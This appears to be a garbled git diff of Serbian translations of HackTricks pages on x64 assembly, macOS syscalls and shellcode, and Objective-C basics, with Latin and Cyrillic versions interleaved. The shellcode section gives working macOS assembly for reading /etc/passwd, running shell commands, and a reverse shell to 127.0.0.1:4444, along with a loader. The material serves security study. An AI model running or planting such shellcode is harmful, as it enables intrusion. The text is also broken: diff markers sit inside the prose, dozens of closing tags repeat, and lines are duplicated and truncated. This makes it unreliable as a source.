Swift ima svoju **konvenciju pozivanja** koja se može pronaći na [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
|
||||
Swift има своју **конвенцију позива** која се може наћи на [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64)
|
||||
|
||||
### **Uobičajene instrukcije**
|
||||
### **Уобичајене инструкције**
|
||||
|
||||
x64 instrukcije imaju bogat set, održavajući kompatibilnost sa ranijim x86 instrukcijama i uvodeći nove.
|
||||
x64 инструкције имају богат сет, одржавајући компатибилност са ранијим x86 инструкцијама и уводећи нове.
|
||||
|
||||
* **`mov`**: **Premeštanje** vrednosti iz jednog **registra** ili **lokacije u memoriji** u drugi.
|
||||
* Primer: `mov rax, rbx` — Premešta vrednost iz `rbx` u `rax`.
|
||||
* **`push`** i **`pop`**: Guranje ili izvlačenje vrednosti sa/na **stek**.
|
||||
* Primer: `push rax` — Gura vrednost iz `rax` na stek.
|
||||
* Primer: `pop rax` — Izvlači vrh steka u `rax`.
|
||||
* **`add`** i **`sub`**: Operacije **sabiranja** i **oduzimanja**.
|
||||
* Primer: `add rax, rcx` — Sabira vrednosti u `rax` i `rcx` čuvajući rezultat u `rax`.
|
||||
* **`mul`** i **`div`**: Operacije **množenja** i **deljenja**. Napomena: ove imaju specifična ponašanja u vezi sa korišćenjem operanada.
|
||||
* **`call`** i **`ret`**: Koriste se za **pozivanje** i **vraćanje iz funkcija**.
|
||||
* **`int`**: Koristi se za pokretanje softverskog **prekida**. Na primer, `int 0x80` se koristio za sistemski poziv u 32-bitnom x86 Linux-u.
|
||||
* **`cmp`**: **Upoređuje** dve vrednosti i postavlja zastave CPU-a na osnovu rezultata.
|
||||
* Primer: `cmp rax, rdx` — Upoređuje `rax` sa `rdx`.
|
||||
* **`je`, `jne`, `jl`, `jge`, ...**: **Uslovne skok** instrukcije koje menjaju tok kontrole na osnovu rezultata prethodnog `cmp` ili testa.
|
||||
* Primer: Nakon `cmp rax, rdx` instrukcije, `je label` — Skoči na `label` ako je `rax` jednak `rdx`.
|
||||
* **`syscall`**: Koristi se za **sistemski poziv** u nekim x64 sistemima (kao što su moderni Unix sistemi).
|
||||
* **`sysenter`**: Optimizovana instrukcija za **sistemski poziv** na nekim platformama.
|
||||
* **`mov`**: **Премести** вредност из једног **регистра** или **меморијске локације** у други.
|
||||
* Пример: `mov rax, rbx` — Премешта вредност из `rbx` у `rax`.
|
||||
* **`push`** и **`pop`**: Постави или уклони вредности на/са **стека**.
|
||||
* Пример: `push rax` — Поставља вредност у `rax` на стек.
|
||||
* Пример: `pop rax` — Уклоњава врх вредности из стека у `rax`.
|
||||
* **`add`** и **`sub`**: Операције **сабирања** и **одузимања**.
|
||||
* Пример: `add rax, rcx` — Сабира вредности у `rax` и `rcx`, чувајући резултат у `rax`.
|
||||
* **`mul`** и **`div`**: Операције **мултипликације** и **делења**. Напомена: ове имају специфична понашања у вези са коришћењем операнда.
|
||||
* **`call`** и **`ret`**: Користе се за **позивање** и **враћање из функција**.
|
||||
* **`int`**: Користи се за активирање софтверског **прекида**. На пример, `int 0x80` се користио за системске позиве у 32-битном x86 Линуксу.
|
||||
* **`cmp`**: **Упоређује** две вредности и поставља флагове ЦПУ-а на основу резултата.
|
||||
* Пример: `cmp rax, rdx` — Упоређује `rax` са `rdx`.
|
||||
* **`je`, `jne`, `jl`, `jge`, ...**: **Условне скок** инструкције које мењају ток контроле на основу резултата претходне `cmp` или теста.
|
||||
* Пример: Након инструкције `cmp rax, rdx`, `je label` — Скаче на `label` ако је `rax` једнак `rdx`.
|
||||
* **`syscall`**: Користи се за **системске позиве** у неким x64 системима (као што је модерни Unix).
|
||||
* **`sysenter`**: Оптимизована **инструкција системског позива** на неким платформама.
|
||||
|
||||
### **Prolog funkcije**
|
||||
### **Функционални пролог**
|
||||
|
||||
1. **Guranje starog baznog pokazivača**: `push rbp` (čuva bazni pokazivač pozivaoca)
|
||||
2. **Premeštanje trenutnog pokazivača steka u bazni pokazivač**: `mov rbp, rsp` (postavlja novi bazni pokazivač za trenutnu funkciju)
|
||||
3. **Alokacija prostora na steku za lokalne promenljive**: `sub rsp, <veličina>` (gde je `<veličina>` broj bajtova potrebnih)
|
||||
1. **Постави стари базни показивач**: `push rbp` (чува базни показивач позиваоца)
|
||||
2. **Премести тренутни показивач стека у базни показивач**: `mov rbp, rsp` (поставља нови базни показивач за текућу функцију)
|
||||
3. **Алокирај простор на стеку за локалне променљиве**: `sub rsp, <size>` (где је `<size>` број бајтова који су потребни)
|
||||
|
||||
### **Epilog funkcije**
|
||||
### **Функционални епилог**
|
||||
|
||||
1. **Премести тренутни базни показивач у показивач стека**: `mov rsp, rbp` (ослобађа локалне променљиве)
|
||||
2. **Уклоните стари базни показивач са стека**: `pop rbp` (враћа базни показивач позиваоца)
|
||||
3. **Врати**: `ret` (враћа контролу позиваоцу)
|
||||
|
||||
1. **Premeštanje trenutnog baznog pokazivača u pokazivač steka**: `mov rsp, rbp` (dealocira lokalne promenljive)
|
||||
2. **Izvlačenje starog baznog pokazivača sa steka**: `pop rbp` (vraća bazni pokazivač pozivaoca)
|
||||
3. **Povratak**: `ret` (vraća kontrolu pozivaocu)
|
||||
## macOS
|
||||
|
||||
### syscalls
|
||||
### системски позиви
|
||||
|
||||
Postoje različite klase syscalls, možete ih **pronaći ovde**: [**ovde**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
|
||||
Постоје различите класе системских позива, можете [**наћи их овде**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall\_sw.h)**:**
|
||||
```c
|
||||
#define SYSCALL_CLASS_NONE 0 /* Invalid */
|
||||
#define SYSCALL_CLASS_MACH 1 /* Mach */
|
||||
|
@ -89,7 +91,7 @@ Postoje različite klase syscalls, možete ih **pronaći ovde**: [**ovde**](http
|
|||
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
|
||||
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
|
||||
```
|
||||
Zatim, možete pronaći broj svakog sistemskog poziva [**na ovom linku**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
||||
Zatim, možete pronaći svaki syscall broj [**na ovoj adresi**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
||||
```c
|
||||
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
|
||||
1 AUE_EXIT ALL { void exit(int rval); }
|
||||
|
@ -106,13 +108,13 @@ Zatim, možete pronaći broj svakog sistemskog poziva [**na ovom linku**](https:
|
|||
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
||||
[...]
|
||||
```
|
||||
Dakle, da biste pozvali `open` sistemski poziv (**5**) iz **Unix/BSD klase**, morate dodati: `0x2000000`
|
||||
Dakle, da biste pozvali `open` syscall (**5**) iz **Unix/BSD klase**, potrebno je da mu dodate: `0x2000000`
|
||||
|
||||
Dakle, broj sistemskog poziva za pozivanje open bio bi `0x2000005`
|
||||
Dakle, broj syscall-a za pozivanje open bi bio `0x2000005`
|
||||
|
||||
### Shellkodovi
|
||||
### Shellcodes
|
||||
|
||||
Za kompajliranje:
|
||||
Da biste kompajlirali:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -121,7 +123,7 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Za izdvajanje bajtova:
|
||||
Da biste izdvojili bajtove:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -137,7 +139,7 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
|
|||
|
||||
<details>
|
||||
|
||||
<summary>C kod za testiranje shell koda</summary>
|
||||
<summary>C kod za testiranje shellcode-a</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
@ -226,9 +228,9 @@ syscall
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Čitanje pomoću cat
|
||||
#### Čitajte sa cat
|
||||
|
||||
Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, pa je drugi argument (x1) niz parametara (što u memoriji znači stek adresa).
|
||||
Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, tako da je drugi argument (x1) niz parametara (što u memoriji znači stek adresa).
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
@ -259,7 +261,7 @@ section .data
|
|||
cat_path: db "/bin/cat", 0
|
||||
passwd_path: db "/etc/passwd", 0
|
||||
```
|
||||
#### Pozivanje komande sa sh
|
||||
#### Pozovite komandu sa sh
|
||||
```armasm
|
||||
bits 64
|
||||
section .text
|
||||
|
@ -376,7 +378,7 @@ syscall
|
|||
```
|
||||
#### Reverse Shell
|
||||
|
||||
Obrnuti shell sa [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Obrnuti shell ka **127.0.0.1:4444**
|
||||
Reverse shell sa [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse shell na **127.0.0.1:4444**
|
||||
```armasm
|
||||
section .text
|
||||
global _main
|
||||
|
@ -438,16 +440,17 @@ mov rax, r8
|
|||
mov al, 0x3b
|
||||
syscall
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,34 +1,49 @@
|
|||
# macOS Objective-C
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Objective-C
|
||||
|
||||
{% hint style="danger" %}
|
||||
Imajte na umu da programi napisani u Objective-C **zadržavaju** svoje deklaracije klasa **kada** **kompiliraju** u [Mach-O binarne datoteke](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Takve deklaracije klasa **uključuju** ime i tip:
|
||||
Napomena da programi napisani u Objective-C **zadržavaju** svoje deklaracije klasa **kada** su **kompilirani** u [Mach-O binarne datoteke](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Takve deklaracije klasa **uključuju** ime i tip:
|
||||
{% endhint %}
|
||||
|
||||
* Klasa
|
||||
* Klase
|
||||
* Metode klase
|
||||
* Instancne varijable klase
|
||||
* Varijable instanci klase
|
||||
|
||||
Ove informacije možete dobiti koristeći [**class-dump**](https://github.com/nygard/class-dump):
|
||||
Možete dobiti ove informacije koristeći [**class-dump**](https://github.com/nygard/class-dump):
|
||||
```bash
|
||||
class-dump Kindle.app
|
||||
```
|
||||
Napomena da bi ova imena mogla biti prikrivena kako bi se otežalo preokretanje binarnog koda.
|
||||
Napomena da bi ova imena mogla biti obfuskovana kako bi se otežalo obrnuto inženjerstvo binarnog koda.
|
||||
|
||||
## Klase, Metode i Objekti
|
||||
|
||||
|
@ -63,9 +78,9 @@ self.numberOfWheels += value;
|
|||
|
||||
@end
|
||||
```
|
||||
### **Objekat i poziv metode**
|
||||
### **Objekat & Pozivanje Metode**
|
||||
|
||||
Da biste kreirali instancu klase, koristi se metoda **`alloc`** koja **alocira memoriju** za svako **svojstvo** i **postavlja na nulu** te alokacije. Zatim se poziva metoda **`init`**, koja **inicijalizuje svojstva** na **potrebne vrednosti**.
|
||||
Da biste kreirali instancu klase, poziva se metoda **`alloc`** koja **alokira memoriju** za svaku **svojstvo** i **postavlja** te alokacije na **nulu**. Zatim se poziva **`init`**, koja **inicijalizuje svojstva** na **potrebne vrednosti**.
|
||||
```objectivec
|
||||
// Something like this:
|
||||
MyVehicle *newVehicle = [[MyVehicle alloc] init];
|
||||
|
@ -77,15 +92,15 @@ MyVehicle *newVehicle = [MyVehicle new];
|
|||
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
|
||||
[newVehicle addWheels:4];
|
||||
```
|
||||
### **Metode klase**
|
||||
### **Class Methods**
|
||||
|
||||
Metode klase se definišu sa **plus znakom** (+), a ne sa crticom (-) koja se koristi kod instancnih metoda. Na primer, metoda klase **`stringWithString`** klase **NSString**:
|
||||
Klasa metode se definišu sa **plus znakom** (+) a ne sa crticom (-) koja se koristi sa instancama metoda. Kao što je **NSString** klasa metoda **`stringWithString`**:
|
||||
```objectivec
|
||||
+ (id)stringWithString:(NSString *)aString;
|
||||
```
|
||||
### Setter i Getter
|
||||
### Setter & Getter
|
||||
|
||||
Da biste postavili i dobili vrednosti svojstava, to možete uraditi pomoću **tačkaste notacije** ili kao da pozivate **metodu**:
|
||||
Da **postavite** i **dobijete** svojstva, možete to uraditi sa **tačkom** ili kao da **pozivate metodu**:
|
||||
```objectivec
|
||||
// Set
|
||||
newVehicle.numberOfWheels = 2;
|
||||
|
@ -97,18 +112,18 @@ NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
|
|||
```
|
||||
### **Instance Variables**
|
||||
|
||||
Alternativno, umesto metoda za postavljanje i dobavljanje vrednosti, možete koristiti instance varijable. Ove varijable imaju isto ime kao i svojstva, ali počinju sa "\_":
|
||||
Alternativno setter i getter metodama možete koristiti instance varijable. Ove varijable imaju isto ime kao svojstva, ali počinju sa "\_":
|
||||
```objectivec
|
||||
- (void)makeLongTruck {
|
||||
_numberOfWheels = +10000;
|
||||
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
|
||||
}
|
||||
```
|
||||
### Protokoli
|
||||
### Протоколи
|
||||
|
||||
Protokoli su skup deklaracija metoda (bez svojstava). Klasa koja implementira protokol implementira deklarisane metode.
|
||||
Протоколи су сет декларација метода (без својстава). Класа која имплементира протокол имплементира декларисане методе.
|
||||
|
||||
Postoje 2 vrste metoda: **obavezni** i **opcioni**. Po **podrazumevanju**, metoda je **obavezna** (ali možete je označiti i sa **`@required`** oznakom). Da biste označili da je metoda opciona, koristite **`@optional`**.
|
||||
Постоје 2 типа метода: **обавезни** и **опционални**. По **дефиницији** метод је **обавезан** (али то можете и да назначите са **`@required`** ознаком). Да бисте назначили да је метод опционалан, користите **`@optional`**.
|
||||
```objectivec
|
||||
@protocol myNewProtocol
|
||||
- (void) method1; //mandatory
|
||||
|
@ -119,29 +134,6 @@ Postoje 2 vrste metoda: **obavezni** i **opcioni**. Po **podrazumevanju**, metod
|
|||
@end
|
||||
```
|
||||
### Sve zajedno
|
||||
|
||||
U ovom poglavlju ćemo se baviti osnovama Objective-C jezika i kako ga koristiti za hakiranje macOS sistema. Objective-C je objektno orijentisani jezik koji se često koristi za razvoj aplikacija na macOS platformi. Razumevanje osnovnih koncepata i sintakse Objective-C jezika je ključno za razumevanje i izvođenje određenih hakirajućih tehnika na macOS sistemu.
|
||||
|
||||
#### Osnovni koncepti Objective-C jezika
|
||||
|
||||
Objective-C je jezik koji kombinuje sintaksu C jezika sa dodatnim objektno orijentisanim konceptima. Osnovni koncepti koje treba razumeti uključuju:
|
||||
|
||||
- Klase: Klase su temeljni elementi Objective-C jezika. One definišu objekte i njihove osobine i ponašanje.
|
||||
- Objekti: Objekti su instance klasa i predstavljaju konkretne entitete sa svojim stanjem i ponašanjem.
|
||||
- Metode: Metode su funkcije koje se izvršavaju nad objektima i definišu njihovo ponašanje.
|
||||
- Poruke: Poruke su način komunikacije između objekata. Objekti šalju poruke jedni drugima kako bi izvršili određene akcije.
|
||||
- Nasleđivanje: Nasleđivanje omogućava kreiranje novih klasa na osnovu postojećih klasa, čime se omogućava ponovno korišćenje koda i proširivanje funkcionalnosti.
|
||||
|
||||
#### Hakiranje macOS sistema korišćenjem Objective-C jezika
|
||||
|
||||
Objective-C jezik može se koristiti za izvođenje različitih hakirajućih tehnika na macOS sistemu. Neki od najčešće korišćenih tehnika uključuju:
|
||||
|
||||
- Privilegija eskalacija: Korišćenje Objective-C jezika omogućava hakere da pristupe privilegijama koje su im inače nedostupne. To se može postići korišćenjem ranjivosti u macOS sistemu ili manipulacijom objekata i metoda.
|
||||
- Injekcija koda: Objective-C jezik omogućava hakere da ubace zlonamerni kod u postojeće aplikacije ili sistem, čime mogu izvršiti različite napade kao što su krađa podataka ili daljinsko izvršavanje koda.
|
||||
- Reverse engineering: Objective-C jezik olakšava analizu i dekompilaciju aplikacija kako bi se otkrile ranjivosti ili pronašle tajne funkcionalnosti.
|
||||
- Sniffing komunikacije: Korišćenjem Objective-C jezika, hakere je moguće izvršiti snimanje i analizu komunikacije između aplikacija i sistema radi otkrivanja osetljivih informacija.
|
||||
|
||||
Razumevanje osnovnih koncepata Objective-C jezika i njegova primena u hakiranju macOS sistema omogućava hakerima da izvrše različite napade i postignu svoje ciljeve. Važno je napomenuti da je hakiranje nelegalno i da se ove tehnike trebaju koristiti samo u etičke svrhe, kao što je testiranje sigurnosti sistema ili otkrivanje ranjivosti.
|
||||
```objectivec
|
||||
// gcc -framework Foundation test_obj.m -o test_obj
|
||||
#import <Foundation/Foundation.h>
|
||||
|
@ -204,7 +196,7 @@ NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUT
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Osnovne klase su **nepromenljive**, tako da bi se dodao string postojećem, potrebno je **kreirati novi NSString**.
|
||||
Osnovne klase su **nepromenljive**, tako da da biste dodali string postojećem, potrebno je **napraviti novi NSString**.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -212,7 +204,7 @@ NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Ili možete koristiti i **mutable** klasu stringova:
|
||||
Ili možete koristiti i **mutable** klasu stringa:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -223,8 +215,6 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
|
|||
[mutableString appendString:@" and published in "];
|
||||
[mutableString appendString:bookPublicationYear];
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Broj
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -246,9 +236,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
|
|||
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
|
||||
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Nizovi, skupovi i rečnici
|
||||
#### Nizovi, Skupovi i Rečnici
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -300,7 +288,9 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
|
|||
|
||||
### Blokovi
|
||||
|
||||
Blokovi su **funkcije koje se ponašaju kao objekti**, tako da se mogu proslediti funkcijama ili **čuvati** u **nizovima** ili **rečnicima**. Takođe, mogu **predstavljati vrednost ako im se dodeljuju vrednosti**, pa su slični lambda funkcijama.
|
||||
Blokovi su **funkcije koje se ponašaju kao objekti** tako da mogu biti prosleđeni funkcijama ili **smešteni** u **nizove** ili **rečnike**. Takođe, mogu **predstavljati vrednost ako im se dodele vrednosti** pa je to slično lambdama.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
|
||||
//Perform operations here
|
||||
|
@ -337,7 +327,7 @@ genericLogger(^{
|
|||
NSLog(@"%@", @"This is my second block");
|
||||
});
|
||||
```
|
||||
### Fajlovi
|
||||
### Datoteke
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
|
@ -366,31 +356,47 @@ NSLog(@"Removed successfully");
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Takođe je moguće upravljati datotekama **koristeći `NSURL` objekte umesto `NSString` objekata**. Imena metoda su slična, ali **umesto `Path` koristimo `URL`**.
|
||||
Takođe je moguće upravljati datotekama **koristeći `NSURL` objekte umesto `NSString`** objekata. Imena metoda su slična, ali **sa `URL` umesto `Path`**.
|
||||
```objectivec
|
||||
NSURL *fileSrc = [NSURL fileURLWithPath:@"/path/to/file1.txt"];
|
||||
NSURL *fileDst = [NSURL fileURLWithPath:@"/path/to/file2.txt"];
|
||||
[fileManager moveItemAtURL:fileSrc toURL:fileDst error: nil];
|
||||
```
|
||||
Većina osnovnih klasa ima definisanu metodu `writeToFile:<path> atomically:<YES> encoding:<encoding> error:nil` koja im omogućava da budu direktno upisane u fajl:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```objectivec
|
||||
NSString* tmp = @"something temporary";
|
||||
[tmp writeToFile:@"/tmp/tmp1.txt" atomically:YES encoding:NSASCIIStringEncoding error:nil];
|
||||
```
|
||||
{% endcode %}
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,43 @@
|
|||
# macOS Aplikacije za odbranu
|
||||
# macOS Defensive Apps
|
||||
|
||||
{% hint style="success" %}
|
||||
